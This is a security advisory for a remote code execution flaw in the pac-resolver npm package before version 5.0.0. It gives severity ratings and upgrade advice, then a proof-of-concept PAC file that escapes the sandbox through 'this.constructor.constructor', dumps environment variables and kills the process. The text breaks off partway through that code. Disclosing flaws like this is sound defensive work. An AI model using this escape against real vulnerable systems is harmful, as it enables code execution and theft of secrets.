Remote Code Execution (RCE) Affecting pac-resolver package, versions <5.0.0



    Exploit Maturity Proof of concept
    Attack Complexity High
    Confidentiality High
    Integrity High
    Availability High
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9.8 critical

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  • published 22 Aug 2021
  • disclosed 30 May 2021
  • credit Tim Perry

How to fix?

Upgrade pac-resolver to version 5.0.0 or higher.


Affected versions of this package are vulnerable to Remote Code Execution (RCE). This can occur when used with untrusted input, due to unsafe PAC file handling.

In order to exploit this vulnerability in practice, this either requires an attacker on your local network, a specific vulnerable configuration, or some second vulnerability that allows an attacker to set your config values.

NOTE: The fix for this vulnerability is applied in the node-degenerator library, a dependency is written by the same maintainer.


const pac = require('pac-resolver');

// Should keep running forever (if not vulnerable): setInterval(() => { console.log("Still running"); }, 1000);

// Parsing a malicious PAC file unexpectedly executes unsandboxed code: pac(` // Real PAC config: function FindProxyForURL(url, host) { return "DIRECT"; }

// But also run arbitrary code:
var f = this.constructor.constructor(\`
    // Running outside the sandbox:
    console.log(&#39;Read env vars:&#39;, process.env);
    console.log(&#39;!!! PAC file is running arbitrary code !!!&#39;);
    console.log(&#39;Can read &amp; could exfiltrate env vars ^&#39;);
    console.log(&#39;Can kill parsing process, like so:&#39;);
    process.exit(100); // Kill the vulnerable process
    // etc etc